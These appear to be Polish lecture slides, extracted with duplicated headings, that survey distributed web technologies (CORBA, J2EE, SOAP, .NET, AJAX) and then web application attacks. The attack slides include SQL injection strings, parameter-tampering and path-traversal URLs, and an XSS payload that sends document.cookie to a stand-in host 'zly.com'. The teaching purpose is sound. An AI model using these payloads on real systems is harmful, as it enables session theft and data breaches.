Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration...
Click here to load reader
Transcript of Przegląd technologii dla komponentowych, …€¢ Universal Description, Discovery and Integration...
Przegląd technologii dla Przegląd technologii dla komponentowychkomponentowych, rozproszonych, rozproszonych
aplikacji internetowychaplikacji internetowych
314
Architektura CORBAArchitektura CORBA
• CORBA: Common Object Request Broker Architecture• Jedna z pierwszych architektur budowy heterogenicznych
rozproszonych aplikacji komponentowych• Specyfikacja obejmuje architekturę oraz język opisu
interfejsów - IDL (Interface Description Language)• Aplikacje CORBA składają się z programu klienta,
współpracującego z programami serwerów poprzez warstwę komunikacyjną ORB (Object Request Broker)
Object Request Broker
Client Proxy wg IDL
Szkielet serwera wg IDLKlient
Serwer
Object Adapter
315
J2EEJ2EE
• J2EE (Java2 Enterprise Edition) to platforma tworzenia i uruchamiania rozproszonych aplikacji wielowarstwowych, zwykle wykorzystywanych przez użytkowników przy użyciu przeglądarki WWW
• W skład J2EE wchodzą:– zbiór specyfikacji dla poszczególnych technologii składowych:
• Servlet, JavaServer Pages, Enterprise JavaBeans, JDBC, JNDI, RMI-IIOP, JMS, JTA, JAAS, ...
– zbiór bibliotek standardowych języka Java służących do tworzeniaróżnych typów programów
– zbiór zasad projektowania, implementowania i instalowania aplikacji J2EE, m.in. umożliwiających wyraźny rozdział ról członków zespołu projektowego
– serwer aplikacji J2EE, stanowiący środowisko uruchomieniowe dla aplikacji J2EE
316
Enterprise JavaBeans Enterprise JavaBeans (EJB)(EJB)
• Specyfikacja Enterprise JavaBeans definiuje architekturę i metodę budowy rozproszonych komponentów obiektowych uruchamianych po stronie serwera aplikacji
• Komponenty EJB są wykorzystywane do budowy złożonych aplikacji rozproszonych na zasadzie „składania z klocków”– typowo stanowią warstwę „logiki biznesowej” dla aplikacji J2EE,
w której za „logikę prezentacji” odpowiadają serwlety i JSP
aplikacja klienta
serwer aplikacji (serwer J2EE)
kontener EJB
komponent EJB
wywołania metod
wyniki metod
kontener serwletów
JSPprzeglądarkażądanie http
dokument HTML
317
Typy komponentów EJBTypy komponentów EJB
• Specyfikacja Enterprise JavaBeans 2.0 definiuje trzy typy komponentów EJB: – sesyjne (Session Bean): sesyjny komponent EJB to krótkotrwały
obiekt wykorzystywany przez pojedynczą aplikację klienta i nie współdzielony z innymi aplikacjami, stanowiący logiczne rozszerzenie kodu aplikacji klienta umieszczone po stronie serwera aplikacji
– encyjne (Entity Bean): encyjny komponent EJB reprezentuje dane, które są trwale przechowywane w systemie bazy danych; cechuje się długim czasem życia, pozwala na atomowe, transakcyjne modyfikacje bazy danych, współdzielony przez wielu klientów, dostępny dla wielu sesji
– komunikatowe (Message-Driven Bean): komunikatowy komponent EJB jest asynchronicznym konsumentem komunikatów JMS (Java Messaging Service) pochodzących ze środowisk kolejkowych; uruchamiany wtedy, kiedy nadchodzi komunikat od klienta, wykonywany asynchronicznie, może modyfikować zawartość bazy danych, bezstanowy
318
Usługi sieciowe (Web Usługi sieciowe (Web ServicesServices))
• Web Services to technologia budowania rozproszonych, heterogenicznych, komunikujących się ze sobą aplikacji
• Usługi sieciowe– samodzielnie się opisują– są zorientowane na świadczenie usług– są oparte o standardy (HTTP, SMTP, XML, SOAP, WSDL, UDDI)– opisują komunikację między aplikacjami– są niezależne od platformy i języka implementacji
• Architektura zorientowana na usługi
dostawca usługi
klient usługi
rejestr usługopublikuj znajdź
wywołaj
319
Elementy usług sieciowych (1/2)Elementy usług sieciowych (1/2)
• Komunikacja: podstawą funkcjonowania usług sieciowych są tradycyjne protokoły internetowe (HTTP, FTP) za pomocą których usługi sieciowe komunikują się ze sobą
• Uniwersalny format danych: usługi sieciowe korzystają z XML w celu wymiany danych oraz w celu opisu funkcjonalności poszczególnych usług
• Simple Object Access Protocol (SOAP): usługi sieciowe wykorzystują protokół SOAP do wymiany komunikatów XML. Protokół SOAP funkcjonuje jako wrapper dla komunikatów XML, zamykając je w tzw. Kopertach (ang. SOAP envelope)
320
Elementy usług sieciowych (2/2)Elementy usług sieciowych (2/2)
• Web Services Description Language (WSDL): dokumenty WSDL to samoopisujące się specyfikacje prezentujące funkcjonalność danej usługi. Dokumenty WSDL są zgodne z XML i zawierają informację w jaki sposób należy korzystać z danej usługi sieciowej– Dokumenty WSDL mogą być automatycznie przetłumaczone
na język programowania wykorzystywany przez programistę (Client Proxy)
• Universal Description, Discovery and Integration(UDDI): rejestry usług UDDI przechowują dokumenty WSDL opisujące usługi. Rejestry te są przeszukiwane w celu zlokalizowania odpowiedniej usługi. Rejestry UDDI są wykorzystywane przez dostawców usług do publikowania usług
321
Architektura SOAPArchitektura SOAP
klient SOAP
metoda(par1,par2)
deserializacja wyniku
XMLHTTP
XML
serializacjawyniku
metoda(par1,par2)
serwerSOAP
usługa SOAP
(klasa)
wynik
XML
deserializacja wywołania
XML
serializacja wywołania
wynik
Wywołanie metody przez klienta jest konwertowane do dokumentu XML. Argumenty wywołania są serializowane (konwertowane do ciągu bajtów reprezentowanego heksadecymalnie). Dokument XML, nazywany komunikatem SOAP, jest przekazywany poprzez HTTP POST do usługi, która po dokonaniu deserializacji argumentów wywołania metody, uruchamia żądaną metodę i przekazuje zwrotnie jej rezultat, korzystając z analogicznego algorytmu.
322
SOAP, WSDL, UDDI SOAP, WSDL, UDDI -- PodsumowaniePodsumowanie
UDDI
wyszukiwanie usługi
WSDL
WSDL
Client Proxy
aplikacja klienta
usługa SOAP
wywołanie usługi
wyniki
aplikacjaklienta
323
Platforma Microsoft .NETPlatforma Microsoft .NET
• .NET Framework – umożliwia tworzenie i uruchamianie:– aplikacji klienckich– aplikacji webowych– usług sieciowych
• Narzędzia programistyczne: Microsoft Visual Studio .NET – zintegrowane środowisko programistyczne (IDE)– wizualno-zdarzeniowe projektowanie aplikacji klienckich i webowych– duża produktywność programisty
• Serwery:– Microsoft Windows Server 2003– Microsoft SQL Server– Microsoft BizTalk Server
• Oprogramowanie klienckie:– WindowsXP, WindowsCE, OfficeXP
324
.NET .NET FrameworkFramework
• Umożliwia tworzenie i uruchamianie nowoczesnych aplikacji i usług sieciowych
• Wspiera ponad 20 języków programowania– najważniejsze to: Visual Basic .NET, C++, C#, J#
• Implementuje typową funkcjonalność aplikacji, pozwalając twórcom aplikacji skupić się na specyficznej logice konkretnej aplikacji
• Podstawowe cele .NET Framework:– łatwość tworzenia bezpiecznych i wydajnych aplikacji– łatwość instalacji aplikacji i administrowania nimi
• Składniki .NET Framework:– wspólne środowisko uruchomieniowe – Common Language Runtime
(CLR)– biblioteki klas
325
Architektura .NET Architektura .NET FrameworkFramework
Wspólne środowisko uruchomieniowe (CLR)
Podstawowe biblioteki klas: I/O, łańcuchy znaków, sieć, ...
Dostęp do danych (ADO.NET), biblioteki XML
ASP.NET
Usługi Web Services
Klasy Web Forms Klasy
Windows Forms
• Aplikacje są kompilowane do języka pośredniego Microsoft IntermediateLanguage (MSIL) i w tej postaci mogą być dystrybuowane
• Przy pierwszym uruchomieniu aplikacji kod pośredni jest kompilowany do kodu maszynowego przez CLR
326
ASP.NETASP.NET
• Technologia tworzenia dynamicznych stron internetowych dla platformy .NET i środowiska uruchomieniowego CLR
• Umożliwia korzystnie ze wszystkich języków obsługiwanych przez CLR
• Kod kompilowany - wydajność i wykrywanie błędów (postęp w stosunku do interpretowanych ASP)
• Umożliwia tworzenie aplikacji dwóch typów:– aplikacje Web Forms (strony internetowe)– usługi Web Services
• Programowanie zdarzeniowe– Dodawanie „kontrolek” do formularzy i pisanie kodu do obsługi
zdarzeń związanych z kontrolkami
327
AJAXAJAX
• AJAX = Asynchronous JavaScript And XML– Jesse James Garrett, luty 2005
• AJAX nie jest nową samodzielną technologią• AJAX jest nową techniką tworzenia aplikacji internetowych
w oparciu o znane technologie, które ostatnio osiągnęły dojrzałość: (X)HTML, CSS, JavaScript, DOM, XML
• Programowanie w AJAX nie wymaga uczenia się nowych technologii, ale wymaga zmiany sposobu myślenia o tworzeniu aplikacji internetowych
• Przyczyna popularności AJAX: Poziom interaktywności aplikacji zbliżony do aplikacji desktopowych, dotychczas niespotykany w aplikacjach internetowych– Rich Internet Applications, Web 2.0
328
Model aplikacji internetowej AJAXModel aplikacji internetowej AJAX
• Asynchroniczna komunikacja z serwerem z poziomu kodu JavaScript w przeglądarce– Poprzez obiekt XMLHttpRequest
• Serwer wysyła dane, fragmenty dokumentu, kodu JS i CSS, a nie całe strony
• Dokument w przeglądarce (interfejs użytkownika) jest modyfikowany programowo poprzez interfejs DOM
Serwer bazy danychSerwer bazy danych
Serwer WWWSerwer WWW
Interfejs użytkownikaInterfejs użytkownika
PrzeglądarkaPrzeglądarka
Żądanie HTTP Żądanie HTTP XML XML
„„EngineEngine AJAX”AJAX”
WywołaniaWywołaniaJavaScript JavaScript
HTML HTML + CSS + CSS
329
Przykład aplikacji AJAX: Przykład aplikacji AJAX: Google SuggestGoogle Suggest
Zagrożenia bezpieczeństwa aplikacji Zagrożenia bezpieczeństwa aplikacji internetowychinternetowych
331
ZZagrożeniaagrożenia trywialnetrywialne
• Rozwiązania charakterystyczne dla fazy rozwoju– opisy rozpoznanych błędów, debugging, komentarze– poprzednie wersje plików (cp plik.jsp plik.jsp.old)– znaczniki <META>: autor, wersja oprogramowania developerskiego
332
PParametryarametry ukryteukryte
• Często stosowaną praktyką jest zapisywanie zmiennych wukrytych polach formularzy– <input name="X” type="HIDDEN” value=1>
• Jeśli zapamiętują istotne dane, to ich modyfikacja może prowadzić do skutecznego ataku
333
MModyfikowaniodyfikowaniee parametrówparametrów wywołaniawywołania
• Parametry mogą być przekazywane za pomocą metody GETlub POST– 1. Zapisać plik HTML na dysku, zmienić wartość zmiennej i lokalnie
otworzyć plik w przeglądarce– 2. Zastosować oprogramowanie typu Local Proxy, potrafiące
modyfikować komunikację HTTP (Stake WebProxy, Odysseus)
334
Dołączanie nowychDołączanie nowych parametrparametrówów
• W niektórych językach skryptowych (PHP, JSP) parametry pobierane od użytkownika są automatycznie rejestrowane jako zmienne globalne
• Powszechnym błędem jest brak inicjalizacji zmiennych• Jeżeli intruz przewidzi nazwę zmiennej i nada jej wartość,
to będzie w stanie zmienić sposób działania aplikacji:
if (sprawdz_w_bazie($login,$pass)) {$state="OK"; // ustawienie flagi
}...if ($state == "OK") { // sprawdzenie flagi
UWIERZYTELNIENIE OK} else { BŁĄD ! }
http://serwer/login.php?login=x&pass=y&state=OK
335
Dołączanie nowegoDołączanie nowego parametruparametru -- JSPJSP
• Danych reprezentowane przez obiekt JavaBean• Wartości parametrów z formularza HTML są przekazywane przy użyciu
znaku *
<jsp:useBean id="myBasket" class="BasketBean"><jsp:setProperty name="myBasket" property="*"/><jsp:useBean>
<html><head><title>Your Basket</title></head><body><p> You have added the item<jsp:getProperty name="myBasket" property="newItem"/>to your basket. <br/>Your total is $<jsp:getProperty name="myBasket" property="balance"/>Proceed to <a href="checkout.jsp">checkout</a>
Atak: http://server/addToBasket.jsp?newItem=ITEM123&balance=1
336
Brak obsługi sytuacji specjalnych Brak obsługi sytuacji specjalnych
• Wszystkie sytuacje specjalne (błędy) powinny zostać świadomie obsłużone przez aplikacje
• Sytuacja specjalna (np. brak parametru, którego spodziewa się aplikacja) może doprowadzić do zmiany sposobudziałania aplikacji
337ParametryParametry zapisywane w zmiennychzapisywane w zmiennychCCookiesookies
• Do modyfikowania wartości zmiennych Cookie można wykorzystać Local Proxy
• Typowe cele ataku:– zmiana identyfikatora sesji– zmiana znacznika (flagi np. oznaczającej stan uwierzytelnienia)
lang=en-us; AUTHORIZED=yes; y=1 ; time=12:30GMT;
338
Path traversalPath traversal
• Klasa ataków polegająca na uzyskaniu dostępu dostandardowo niedostępnego pliku/katalogu na serwerzeWWW
• Zagrożenie wiąże się z wykorzystywaniem przez aplikacje parametrów pobieranych ze środowiska użytkownika do konstruowania nazwy pliku
• Przykład:– atak poprzez modyfikację nagłówka HTTP– nagłówek „Accept-Language” jest ustawiany przez przeglądarkę– wykorzystywany do skonstruowania nazwy pliku z odpowiednią
wersją językową– atakujący modyfikując ten nagłówek może pozyskać dowolny plik
339
Path traversal Path traversal -- Oracle 9iASOracle 9iAS
• Tego typu błąd istniał np. w 9iAS 1.0.2 w module mod_plsql
http://oracleserver/pls/dadname/admin_/help/..%255Cplsql.conf%25 %%5C / w rezultacie: /../plsql.conf
340
OS OS CCommandommand IInjection njection
• Aplikacja przekazuje parametry ze środowiska użytkownikado wywołania systemowego– funkcja API– wywołanie komendy
• Jeżeli parametry te nie są weryfikowane, to możliwe jest:– dołączenie własnych parametrów– wywołanie innej komendy systemowej
341
SQL SQL IInjectionjectionn
• Brak weryfikacji parametrów przekazywanych przez użytkownika• Konstrukcja zapytań SQL przez „sklejanie” statycznego SQL ze
specjalnie przygotowanymi wartościami parametrów, np:
String query = "SELECT * FROM USER_RECORDS WHERE USER = " +request.getParameter("username");ResultSet result = Statement.executeQuery(query);
• Doklejenie do parametru swojego kodu, np:
username = x or 1=1SELECT * FROM USER_RECORDSWHERE USER = x or 1=1
username = x union select * from all_usersSELECT * FROM USER_RECORDSWHERE USER = x UNION SELECT * FROM all_users
342
SQLSQL IInjectionnjection -- konsekwencjekonsekwencje
• Niekontrolowany dostęp do danych– .... UNION SELECT ...
• Zmiana sposobu działania aplikacji– ..... OR 1=1
• W wielu interpreterach SQL jest możliwe wykonanie kilku działań w jednej linii– ..... ; DELETE * FROM ....
• Modyfikacja danych– String query = “UPDATE users SET password = ’”+ haslo + “’
WHERE username = ’” + uzytkownik + “’”;– haslo: 'moje'– uzytkownik: x' OR username LIKE 'admin
343
Przejęcie sesjiPrzejęcie sesji
• HTTP jest protokołem bezstanowym i każde jego żądanie jest traktowane niezależnie
• Aplikacje WWW wymagają obsługi sesji (kojarzenia wielu odwołań w jedną sesje)
• Aplikacja implementuje sesję przy pomocy identyfikatora sesji (tokena), zwykle zapisywanego w zmiennej Cookie
• Aby podszyć się pod inną sesję wystarczy znać jej token• Jak poznać token sesji?
– Podsłuchać– Przewidzieć - jeżeli algorytm pozwala na przewidzenie wartości
tokena (nie jest losowy)– Wykraść
344
PrzewidywalnyPrzewidywalny tokentoken
• Token powinien być generowany silnym algorytmem losowym
• Przestrzeń możliwych tokenów powinna być bardzo duża• Złe praktyki:
– Token sekwencyjny– Zależny od parametrów użytkownika– Nieograniczony czasowo
345
PrzewidywalnyPrzewidywalny token (c.d.)token (c.d.)
• Zwykle serwer aplikacji dba o nadawanie tokenów, aaplikacja korzysta z jego API
• Nie zawsze można polegać na serwerze aplikacji• Przykład: IBM WebSphere 4.0
– TWGYLZIAAACVDQ3UUSZQV2I 10:27:12– TWGY0WYAAACVFQ3UUSZQV2I 10:27:13– TWGZNZAAAACVHQ3UUSZQV2I 10:27:14– TWG0BUYAAACVJQ3UUSZQV2I 10:27:15– TWG0VIAAAACVLQ3UUSZQV2I 10:27:16– TWG1ICIAAACVNQ3UUSZQV2I 10:27:17– TWG111YAAACVPQ3UUSZQV2I 10:27:18
• Algorytm łatwy do odgadnięcia• Możliwość przeszukania całej przestrzeni tokena
346
Wykradnięcie tokenaWykradnięcie tokena
• Słabości:– Przeglądarek - standardowo cookie jest dostępne tylko dla serwera
który je wydał• http://www.intruz.org%2fcookie.html%3f.yahoo.com• http://www.intruz.org/cookie.html?.yahoo.com
– Serwerów• Np: PHP4 zapisywało tokeny w katalogu /tmp na serwerze
– Cross-site scripting
347
CrossCross--SSiteite SScriptingcripting (XSS)(XSS)
• Atak na użytkownika za pomocą aplikacji (nosiciela)• Istota ataku:
– Wykonanie kodu HTML na przeglądarce ofiary (bez jej wiedzy)za pomocą podatnej aplikacji (nosiciela)
• Przykład:– aplikacja WWW obsługuje „chat-room”– intruz w nowej wiadomości umieszcza znaczniki HTML i skrypt
kliencki (JavaScript, VBS)– ofiara przegląda wiadomość za pośrednictwem przeglądarki– HTML jest interpretowany i wykonywany po stronie klienta
348
Cele atakówCele ataków XSSXSS
• Załadowanie strony z innego serwera:<script>document.write('<img src="http://zly.com/atak.js”)</script>
• Wykradnięcie informacji np. cookie:<script>document.write('<img src="http://zly.com/'+document.cookie+'")
</script>
• Wykradnięta informacja znajdzie się w logach serwera„zly.com”
349
XSS XSS -- metody atakumetody ataku
• Generalna zasada: aplikacja nosiciela wyświetla na generowanych stronach parametr pobierany od użytkownika nie sprawdzając go
• Chat-room i inne aplikacje pobierające tekst od użytkownika
• XSS w parametrach GET– link w e-mailu– link na stronie www
350
Buffer Buffer OOverflow verflow
• Buffer Overflow– Dotyczy języków niekontrolujących pamięci operacyjnej
(np. C, C++)
• Jedna z najpopularniejszych metod ataku na różne aplikacje• Zagrożenie: brak sprawdzania przez aplikacje długości
wprowadzonego przez użytkownika ciągu, przepełnienie bufora i nadpisanie pamięci